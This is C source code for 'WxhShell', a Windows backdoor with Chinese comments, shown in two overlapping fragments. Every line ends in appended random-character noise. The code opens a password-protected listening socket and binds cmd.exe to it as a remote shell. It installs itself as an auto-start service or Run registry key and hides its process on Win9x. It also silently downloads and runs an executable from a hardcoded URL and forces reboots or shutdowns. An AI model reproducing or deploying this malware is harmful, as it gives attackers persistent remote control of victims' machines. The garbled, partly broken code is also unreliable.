    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =w?-R\  
    if(Boot(SHUTDOWN)) qRJg/~_h{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "z69jxXo  
    else { Q`7!~qV0=  
    closesocket(wsh); owCQ71Q  
    ExitThread(0); aP!a?xq  
    } A]Zp1XEG  
    break; ":"QsS#*"#  
    } @?!/Pl49R  
  // 获取shell D=mU!rjr1  
  case 's': { 1T%Y:0  
    CmdShell(wsh); Gs7mO  
    closesocket(wsh); WnLgpt2G  
    ExitThread(0); \_!FOUPz(  
    break; 4(R O1VWsb  
  } a)(j68c  
  // 退出 ~{n_rKYV  
  case 'x': { @I]uK[qd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ci+Pg9sS  
    CloseIt(wsh); MKJ9PcVi  
    break; 5dMIv<#T`  
    } 3LG}x/l  
  // 离开 @?aNvWeavH  
  case 'q': { zek\AQN  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1HN_  
    closesocket(wsh); * <x]gV  
    WSACleanup(); 6[69|&  
    exit(1); 394u']M  
    break; A~ '2ki5$g  
        } `kwyF27v]  
  } 3SpDV'}  
  } FMwT4]y  
&m5WmEz>`  
  // 提示信息 ]RPv@z:V  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +; C|5y  
} tW|B\p}  
  } +DF<o U~  
`tVBV :4\  
  return; 7V4 iPx  
} j~\\,fl=  
)P[B!  
// shell模块句柄 (*/P~$xIj  
int CmdShell(SOCKET sock) |E53 [:p  
{ bC$n+G>6k  
STARTUPINFO si; L FHyiIO  
ZeroMemory(&si,sizeof(si)); To]WCFp6@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -gu)d5b  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; KFA B  
PROCESS_INFORMATION ProcessInfo; ,T|iA/c  
char cmdline[]="cmd"; (^qcX;-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?b#/*T}ac  
  return 0; 2a5yJeaIv*  
} *#N%3:@T  
^dZ,Itho  
// 自身启动模式 qI<*Cze  
int StartFromService(void) 5iG|C ~  
{ 2YuaPq/  
typedef struct K.o?g?&<  
{ R j(="+SPj  
  DWORD ExitStatus; Y91TF'  
  DWORD PebBaseAddress; Bpo~x2p  
  DWORD AffinityMask; XwX1i!'54  
  DWORD BasePriority; "y "C#:5  
  ULONG UniqueProcessId; hYi-F.Qtq  
  ULONG InheritedFromUniqueProcessId; A~*Wr+pv  
}   PROCESS_BASIC_INFORMATION; JR 2v}b  
RZOk.~[v  
PROCNTQSIP NtQueryInformationProcess; tI.(+-q  
zFP}=K:o)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }9Y='+.%^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; aR}NAL_`w  
6XFO@c}d  
  HANDLE             hProcess; dMRwQejY{7  
  PROCESS_BASIC_INFORMATION pbi; $N,9 e  
/RX7AXXB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _[0Ugfz (  
  if(NULL == hInst ) return 0; %m+Z rH(  
-d_FB?X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (ter+rTv  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ot_jG)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qaw5<  
G?3S_3J2  
  if (!NtQueryInformationProcess) return 0; LwY_6[Ef  
O~'1)k>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I*K^,XY+  
  if(!hProcess) return 0; KO{}+~,.6  
f8[2$i*cL  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \sp7[}Sw  
Q=uwmg86  
  CloseHandle(hProcess); -{7:^K[)  
&hV;3";  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `f6Qd2\  
if(hProcess==NULL) return 0; | @di<d@  
FAPgXmFzx  
HMODULE hMod; .~b6wi&n  
char procName[255]; yMo@ka=v  
unsigned long cbNeeded; }f6.eqBX4  
Z>CFH9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qIb(uF@l"  
)>TA|W]@  
  CloseHandle(hProcess); w`!Yr:dU  
ORfA]I-u  
if(strstr(procName,"services")) return 1; // 以服务启动 ef!I |.FW  
UAcABL^2  
  return 0; // 注册表启动 0;k3  
} ZQ~?  
$1Xg[>1g5  
// 主模块 b[*d i{?-  
int StartWxhshell(LPSTR lpCmdLine) Nk=M  
{ d^lA52X6P  
  SOCKET wsl; F},JP'\X  
BOOL val=TRUE; RKj A`cJ  
  int port=0; @XmMD6{<  
  struct sockaddr_in door; ?.4.Ubc\  
3%cNePlr  
  if(wscfg.ws_autoins) Install(); x;b'y4kH  
sjaG%f&h  
port=atoi(lpCmdLine); 4pc=MR  
OW #pBeX99  
if(port<=0) port=wscfg.ws_port; nG8]c9\Q#  
JBU qZ  
  WSADATA data; }>tUkXlhJ<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !r[uwJ=  
r*tGT_/6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   B<0lif|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y<;#*wB  
  door.sin_family = AF_INET; ?cpID8Z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;dPLi4=o  
  door.sin_port = htons(port); PDGh\Y[AK,  
d}WAP m  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { B*?v`6  
closesocket(wsl); kB  :")$  
return 1; .WtaU  
} &}P62&  
o9Agx{'oV  
  if(listen(wsl,2) == INVALID_SOCKET) { sS+9ly{9J  
closesocket(wsl); Y<kvJb&1*  
return 1; 9D 0ujup  
} g(<@r2p  
  Wxhshell(wsl); 8ALYih7"W  
  WSACleanup(); =o5hD,>e  
Z7%>O:@z  
return 0; ea B-u  
?= ulf GrY  
} * .Kc-f4mP  
vB#3jI  
// 以NT服务方式启动 AQ-PY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }l_) d  
{ 6wxQ_Qz:Q  
DWORD   status = 0; 'rz*mR8  
  DWORD   specificError = 0xfffffff; [81k4kU  
u2BVQ<SA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @BBqH&<`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9i9VDk{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O":x$>'t  
  serviceStatus.dwWin32ExitCode     = 0; o/9 V1"  
  serviceStatus.dwServiceSpecificExitCode = 0; ``zg |h  
  serviceStatus.dwCheckPoint       = 0; Gn&)*qCO  
  serviceStatus.dwWaitHint       = 0; *<BasP  
:%;K`w  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #~ / -n&#  
  if (hServiceStatusHandle==0) return; A;{8\e  
KcY 2lTvx  
status = GetLastError(); 4Tq%V|5"&  
  if (status!=NO_ERROR) dD!} P$  
{ rTK/WZs8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; fr:RiOPn  
    serviceStatus.dwCheckPoint       = 0; b vUYLWzS  
    serviceStatus.dwWaitHint       = 0; h-#Glse<  
    serviceStatus.dwWin32ExitCode     = status; q/&Z6LJ)  
    serviceStatus.dwServiceSpecificExitCode = specificError; +#n[55d  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \Mt(9jNK  
    return; i7Y 96]  
  } 8l)^#"ySA  
$ V}s3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9\|3Gm_  
  serviceStatus.dwCheckPoint       = 0; ]<{BDXIGIE  
  serviceStatus.dwWaitHint       = 0; f{ENSUtCrR  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E Sb  
} %*:-4K  
pdmeB  
// 处理NT服务事件,比如:启动、停止 L?0dZY-"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &]uhPx/  
{ ^[d)Hk}L  
switch(fdwControl) '7wWdq  
{ {3`9A7bG  
case SERVICE_CONTROL_STOP: 5C2 *f 4|  
  serviceStatus.dwWin32ExitCode = 0; y{5ZC~Z<!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; H|Q)Tp Lk  
  serviceStatus.dwCheckPoint   = 0; F) < f8F  
  serviceStatus.dwWaitHint     = 0; oIX]9~  
  { :DQHb"(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WG(tt.  
  } yO$]9  
  return; Hz*!c#  
case SERVICE_CONTROL_PAUSE: |=,V,*"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +KXg&A/^  
  break; ZZ?=^g  
case SERVICE_CONTROL_CONTINUE: wrw~J  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6z!?U:bT  
  break; RLecKw&1{3  
case SERVICE_CONTROL_INTERROGATE: vM|?;QM  
  break; 7BdvJ"  
}; o= N=W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xH e<TwkI  
} 4vGkgH<,  
!,INrl[  
// 标准应用程序主函数 ~vBmW_j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) om9fg66  
{ pH'#v]"  
jA<v<oV  
// 获取操作系统版本 .6f %"E,  
OsIsNt=GetOsVer(); 4LJUO5(y@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +n9]c~g!T0  
)z$VQ=]"  
  // 从命令行安装 IWsB$T  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?VO*s-G:J  
8cF-kfbfZ  
  // 下载执行文件 fQ 'P2$  
if(wscfg.ws_downexe) { & /UcFB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N-4LdC  
  WinExec(wscfg.ws_filenam,SW_HIDE);  lrU}_`  
} ID E3>D  
thl{IU  
if(!OsIsNt) { # ]&=]K1V  
// 如果时win9x,隐藏进程并且设置为注册表启动 <Y9((QSM4  
HideProc(); <s)+V6 \E  
StartWxhshell(lpCmdLine); FsTE.PT  
} qun#z$  
else $xa#+  
  if(StartFromService()) 7V%}U5  
  // 以服务方式启动 CKmoC0.  
  StartServiceCtrlDispatcher(DispatchTable); MjQKcL4%7  
else Vq -!1.v3  
  // 普通方式启动 rwv_ RN  
  StartWxhshell(lpCmdLine); 2.Th29]  
Ng0V&oDI  
return 0; o[!]xmj  
} +_3> T''_  
.~4%TsBaY  
vZq7U]RW  
)g(2xUk-y  
=========================================== 6Z\[{S];  
LoPWho[8  
xT#j-T  
+8 ]}'6m  
 # G0jMQ  
?9i 7w1`  
" :%{MMhb x  
?tQUZO  
#include <stdio.h> X0* y8"  
#include <string.h> .ss/E  
#include <windows.h> APsd^J  
#include <winsock2.h> Z6 E-FuO  
#include <winsvc.h> ;sT7c1X^!  
#include <urlmon.h> cP`o?:  
9(dbou  
#pragma comment (lib, "Ws2_32.lib") .-k\Q} D  
#pragma comment (lib, "urlmon.lib") o;7!$v>uK  
LZqx6~]O  
#define MAX_USER   100 // 最大客户端连接数 GE\@mu *pO  
#define BUF_SOCK   200 // sock buffer 2v0lWO~c7z  
#define KEY_BUFF   255 // 输入 buffer 5Y"JRWC  
#6[FGM  
#define REBOOT     0   // 重启 =mxmJFA  
#define SHUTDOWN   1   // 关机 "i<i.6|  
~N&j6wHg#  
#define DEF_PORT   5000 // 监听端口 \/p\QT@mm  
vZ\~+qV,A  
#define REG_LEN     16   // 注册表键长度 3l0x~  
#define SVC_LEN     80   // NT服务名长度 BI?M/pIm  
w&8gA[y*u  
// 从dll定义API cfyN)#9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S^HuQe!#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); I $!Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4E}]>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w^sM,c5d  
@@9#od O  
// wxhshell配置信息  )f>s\T  
struct WSCFG { zjs@7LN  
  int ws_port;         // 监听端口 sa36=:5x-  
  char ws_passstr[REG_LEN]; // 口令 w8:~LX.n  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1tHTjEG4^3  
  char ws_regname[REG_LEN]; // 注册表键名 8QV+DDZx  
  char ws_svcname[REG_LEN]; // 服务名 -8X* (7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \/*r45!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~T7\lJ{%G  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y&")7y/uE  
int ws_downexe;       // 下载执行标记, 1=yes 0=no u*  G|TF  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C S"2Sd 1`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @[D-2s  
f7mP4[+dS  
}; }@_F( B  
6H\3  
// default Wxhshell configuration W2J"W=:z  
struct WSCFG wscfg={DEF_PORT, tJy6\~  
    "xuhuanlingzhe", J'`,];su  
    1, 7 [N1Vr(1  
    "Wxhshell", J)D/w[w  
    "Wxhshell", WBLfxr  
            "WxhShell Service", zFmoo4P/  
    "Wrsky Windows CmdShell Service", h1} x2  
    "Please Input Your Password: ", BFc=GiPnQ  
  1, "l6v[yv  
  "http://www.wrsky.com/wxhshell.exe", f5<qF ]Y/  
  "Wxhshell.exe" USy^Y?~ ;  
    }; \2~Cn c*O  
v@TP_Ka  
// 消息定义模块 =t\HtAXn[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; w0(A7L:L  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ZNNgi@6>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; RZi]0l_A'  
char *msg_ws_ext="\n\rExit."; 7'\<\oT  
char *msg_ws_end="\n\rQuit."; /co^swz  
char *msg_ws_boot="\n\rReboot..."; gF,9Kv~  
char *msg_ws_poff="\n\rShutdown..."; |fkz=*rn  
char *msg_ws_down="\n\rSave to "; #u`i4  
{0 d/;  
char *msg_ws_err="\n\rErr!"; oMk6ZzZ,>  
char *msg_ws_ok="\n\rOK!"; fw Ooi 'jb  
p3>p1tC  
char ExeFile[MAX_PATH]; t$m~O?I  
int nUser = 0; 0+p <Jc!  
HANDLE handles[MAX_USER]; B%QvFxZz  
int OsIsNt; :^]rjy/|+  
'M+iw:R__  
SERVICE_STATUS       serviceStatus; 2&7:JM~#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "u:5  
v#J 2yg  
// 函数声明 .6z8fjttOC  
int Install(void); N K.]yw'  
int Uninstall(void); \7o&'zEw  
int DownloadFile(char *sURL, SOCKET wsh); xsn2Qn/P  
int Boot(int flag); ZT;$aNy  
void HideProc(void); BU],,t\  
int GetOsVer(void); 2>3#/I9Y  
int Wxhshell(SOCKET wsl); |#G.2hMFr  
void TalkWithClient(void *cs); ;G_{$)P.o  
int CmdShell(SOCKET sock); 30 e>C  
int StartFromService(void); }}L :6^  
int StartWxhshell(LPSTR lpCmdLine); %X)w$}WH  
R"%zmA@o=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3 VNYDY`>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %<c2jvn+k  
;Qe-y|>  
// 数据结构和表定义 b?S,%  
SERVICE_TABLE_ENTRY DispatchTable[] = p,#t[K  
{ }o^VEJc`O  
{wscfg.ws_svcname, NTServiceMain}, &/)2P#u  
{NULL, NULL} 2:b3+{\f  
}; Mkc   
Ik W 8$>  
// 自我安装 I|&<!{Rq  
int Install(void) pK/r{/>r  
{ oihn`DY {  
  char svExeFile[MAX_PATH]; iF0x>pvJ@  
  HKEY key; X+6`]]  
  strcpy(svExeFile,ExeFile); `b.KMOn  
ppL*#/jYt  
// 如果是win9x系统,修改注册表设为自启动 !j8.JP}!)  
if(!OsIsNt) { UYOveQ;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ss>ez8q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B<^yT@Wc  
  RegCloseKey(key); i{T mn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PD,s,A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f7&53yZF  
  RegCloseKey(key); ?xkw~3Yfi  
  return 0; <V?csx/eRd  
    } w~+C.4=7  
  } P_7QZ0k/  
} tNk.|}  
else { ]Q8[,HTG  
3:H[S_q  
// 如果是NT以上系统,安装为系统服务 S=f:-?N|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); UYLCzv~W  
if (schSCManager!=0) ,oin<K  
{ :`jB1rI  
  SC_HANDLE schService = CreateService goa@ e  
  ( w?;j5[j  
  schSCManager, ]{.iv_I  
  wscfg.ws_svcname,  kD}w5 U  
  wscfg.ws_svcdisp, ZwzN=03T  
  SERVICE_ALL_ACCESS, u4eA++ eT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , GvB;o^Wd  
  SERVICE_AUTO_START, $%:=;1Jl  
  SERVICE_ERROR_NORMAL, \ t=ls  
  svExeFile, [ :Upn)9  
  NULL,  ,>C`|  
  NULL, ;*J_V/&?  
  NULL, VWLqJd>tr1  
  NULL, 3P, ul*e  
  NULL r]+/"~a  
  ); 0pfgE=9  
  if (schService!=0) }F B]LLi  
  { v.Vd js  
  CloseServiceHandle(schService); D(X:dB50@  
  CloseServiceHandle(schSCManager); "z8iuF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D*_Z"q_B  
  strcat(svExeFile,wscfg.ws_svcname); yhPO$L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { XJSI/jpa@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); > r %:!o  
  RegCloseKey(key);  k00&+C  
  return 0; , tEd>  
    } [gkOwU=?  
  } <V b SEi  
  CloseServiceHandle(schSCManager); cVYPPal  
} QJH((  
} W Te1E,M  
HKXtS>7d  
return 1; `Q1;Y  
} :OKU@l|  
FgnS+c3W(  
// 自我卸载 -)pVgf  
int Uninstall(void) Ib}~Q@?2  
{ qX"m"ko  
  HKEY key; qmF+@R&^i  
m=#<   
if(!OsIsNt) { X[E!q$ag  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .4%6_`E  
  RegDeleteValue(key,wscfg.ws_regname); e_ h`x+\:  
  RegCloseKey(key); 4 yDWVd;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8b|m66#|  
  RegDeleteValue(key,wscfg.ws_regname); [ApAd  
  RegCloseKey(key); w:|YOeP  
  return 0; s$?u'}G3  
  } Y{`hRz`  
} E/Adi^  
} VD0U]~CWR  
else { OlcWptM$  
A5 <T7~U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Aw,#oG {N  
if (schSCManager!=0) Wg[ThaZ  
{ j=V2~ xA6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3BK_$Fy  
  if (schService!=0) PESJ7/^E  
  { +]S!pyZ"   
  if(DeleteService(schService)!=0) { wrEYbb  
  CloseServiceHandle(schService); NVG`XL  
  CloseServiceHandle(schSCManager); gVpp9VB  
  return 0; n1@ Or=5  
  } Mw{skK>b  
  CloseServiceHandle(schService); -z?O^:e#x  
  } _/RP3"#  
  CloseServiceHandle(schSCManager); ^SJa/I EZ.  
} | X0Ys8f  
} I%# e\  
InfUH8./t  
return 1; Yvxp(  
} 3@^b's'S|}  
&k0c|q]  
// 从指定url下载文件 gt:Ot0\7  
int DownloadFile(char *sURL, SOCKET wsh) .ta*M{t  
{ SO}en[()O  
  HRESULT hr; Nbm=;FHB`  
char seps[]= "/"; 8+U':xR  
char *token; ealh>Y  
char *file; o](nK5?  
char myURL[MAX_PATH]; cwKOE?!  
char myFILE[MAX_PATH]; ;J40t14u  
^bckl tSo  
strcpy(myURL,sURL); G8ksm2}  
  token=strtok(myURL,seps); MESPfS+  
  while(token!=NULL) "K$ y(}C  
  { PdD| 3B&  
    file=token; js8GK  
  token=strtok(NULL,seps); *|Fl&`2  
  } 4,g3 c  
ky5gU[  
GetCurrentDirectory(MAX_PATH,myFILE); kzcD}?mSS  
strcat(myFILE, "\\"); )gq(  
strcat(myFILE, file); M[ZuXH}  
  send(wsh,myFILE,strlen(myFILE),0); J "dp?i  
send(wsh,"...",3,0); 7f`x-iH!]7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -?AaRwZ,  
  if(hr==S_OK) JI}p{ yI  
return 0; DLrG-C33  
else Fttny]  
return 1; lZup n?  
YJ{d\j  
} vDAv/l9  
7J%v""\1!  
// 系统电源模块 6}6ky9  
int Boot(int flag) y[!4M+jj  
{ b!' bu  
  HANDLE hToken; 7" wn0 24  
  TOKEN_PRIVILEGES tkp; YMx zj  
{l7@<xZ??M  
  if(OsIsNt) { IJnr^S8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |k4ZTr]?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); db!2nImNu\  
    tkp.PrivilegeCount = 1; T7.u7@V2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m&Mvb[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =c8U:\0  
if(flag==REBOOT) { r_Rjjo  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) uGQCW\!"4  
  return 0; ]&ptld;  
} N2_=^s7  
else { g/q$;cB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) oLn| UWe_  
  return 0; e-o s0F  
} A{E0 a:v  
  } >gr6H1  
  else { GfQP@R"  
if(flag==REBOOT) { LE Y Y{G?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !+M H?A  
  return 0; 9_ Qm_  
} ]~(Ipz2NP  
else { ' U)~|(\i  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $XI5fa4Tt  
  return 0; |"P5%k#6^>  
} C({L4O#?o  
} jq["z<V )x  
ZF;S}1  
return 1; 3MjMN%{P  
} ){>;eky  
(cYc03"  
// win9x进程隐藏模块 &/\0_CoTR\  
void HideProc(void) (U`7[F  
{ X5U!25d]  
M14_w,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); nL+*Ja  
  if ( hKernel != NULL ) }M|  
  { ;lAz@jr+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r+0)l:{.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^@)/VfVg  
    FreeLibrary(hKernel); BJj~fNm1Zr  
  } s !8]CV>  
_k sp;kH?)  
return; V6$v@Zq  
} .<42-IEc  
p]+W1v}V!  
// 获取操作系统版本 EmY4>lr  
int GetOsVer(void) 2z[Pw0#V  
{ Y\p yl  
  OSVERSIONINFO winfo; _i8$!b2Mr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,(`@ZFp$  
  GetVersionEx(&winfo); g'Xl>q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]K9 x<@!  
  return 1; Z^fF^3x  
  else m'qMcCE  
  return 0; ^m1Rw|  
} .X2mEnh  
!)9zH  
// 客户端句柄模块 L8j,?u#  
int Wxhshell(SOCKET wsl) C}1(@$  
{ 2%8N<GW.F  
  SOCKET wsh; QHs]~Ja  
  struct sockaddr_in client; pb{P[-f  
  DWORD myID; p[uwG31IL`  
E?XA/z !  
  while(nUser<MAX_USER) >leOyBEAR  
{ r>)\"U#  
  int nSize=sizeof(client); >Le mTr  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Dea;9O  
  if(wsh==INVALID_SOCKET) return 1; e8lF$[i  
Q49|,ou[H  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [#Yyw8V#<  
if(handles[nUser]==0) v l*RRoJ  
  closesocket(wsh); S,8zh/1y  
else ,Xh4(Gn#b  
  nUser++; d=5D 9' +  
  } Zh(f2urKV  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K0E ;4r  
|;_ yAL  
  return 0; kv5Qxj}  
} S$H4xkKs  
f(_qcgXp  
// 关闭 socket J`mp8?;%  
void CloseIt(SOCKET wsh) m|7g{vHVV  
{ q(r2\  
closesocket(wsh); Rxli;blzi  
nUser--; NPc%}V&C(u  
ExitThread(0); f/c}XCH_h  
} I&xRK'  
~xJD3Qf  
// 客户端请求句柄 O:x=yj%^  
void TalkWithClient(void *cs) VC+\RB#:-  
{ ;|^fAc~9{r  
*@ o3{0[Z  
  SOCKET wsh=(SOCKET)cs; @1 +/r?b  
  char pwd[SVC_LEN]; WIGb7}egR  
  char cmd[KEY_BUFF]; t!=S[  
char chr[1]; <7&b|f$CL  
int i,j; k@Tt,.];  
cnc$^[c  
  while (nUser < MAX_USER) { H{XW?O^@  
"D k:r/  
if(wscfg.ws_passstr) { |s^ar8)=)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j;y|Ys)I  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !^7:Rr _  
  //ZeroMemory(pwd,KEY_BUFF); [Vf|4xcD  
      i=0; 4J_%quxO  
  while(i<SVC_LEN) { Rk=B;  
q38; w~H  
  // 设置超时 Gt%kok  
  fd_set FdRead; g\.N>P@Bu  
  struct timeval TimeOut; Gs6 #aL}]R  
  FD_ZERO(&FdRead); zXD@M{  
  FD_SET(wsh,&FdRead); !eq]V9  
  TimeOut.tv_sec=8; b?$09,{0  
  TimeOut.tv_usec=0; .3&m:P8zV  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); FX^E |  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xr/ k.Fz  
c5;ROnTm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $>UzXhf}\  
  pwd=chr[0]; Jc)1}  
  if(chr[0]==0xd || chr[0]==0xa) { XJ\q!{;h  
  pwd=0; 5Z[ D(z  
  break; J$Q-1fjj  
  } >guQY I@4,  
  i++; ah92<'ix  
    } yU.0'r5uR  
F"=MU8  
  // 如果是非法用户,关闭 socket LZVO9e]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); uS'ji k}  
} fUL"fMoU  
LTe7f8A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H1[aNwLr  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Kv]6 b2HT  
Kq$Zyf=E  
while(1) { A E711l-  
ASvPr*q/  
  ZeroMemory(cmd,KEY_BUFF); 3$8}%?i  
="DgrH  
      // 自动支持客户端 telnet标准   ttnXEF  
  j=0; 3(:mRb}  
  while(j<KEY_BUFF) { v,+@ U6i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C\^K6,m5  
  cmd[j]=chr[0]; I/aAx.q  
  if(chr[0]==0xa || chr[0]==0xd) { h 3&:"*A2  
  cmd[j]=0; )rj mJ  
  break; [}2.CM  
  } N::;J  
  j++; >{S$0D  
    } =oME~oB~  
S;'eoqN8  
  // 下载文件 c)8wO=!  
  if(strstr(cmd,"http://")) { Ic K=E ]p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); LXLDu2/@  
  if(DownloadFile(cmd,wsh)) 2YKM9Ks  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1l_}O1  
  else j,xPN=+hT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }gW/heUE  
  } ;ZJ,l)BNO  
  else { <.b$ gX  
|S{P`)z%f  
    switch(cmd[0]) { lF( !(>YZ  
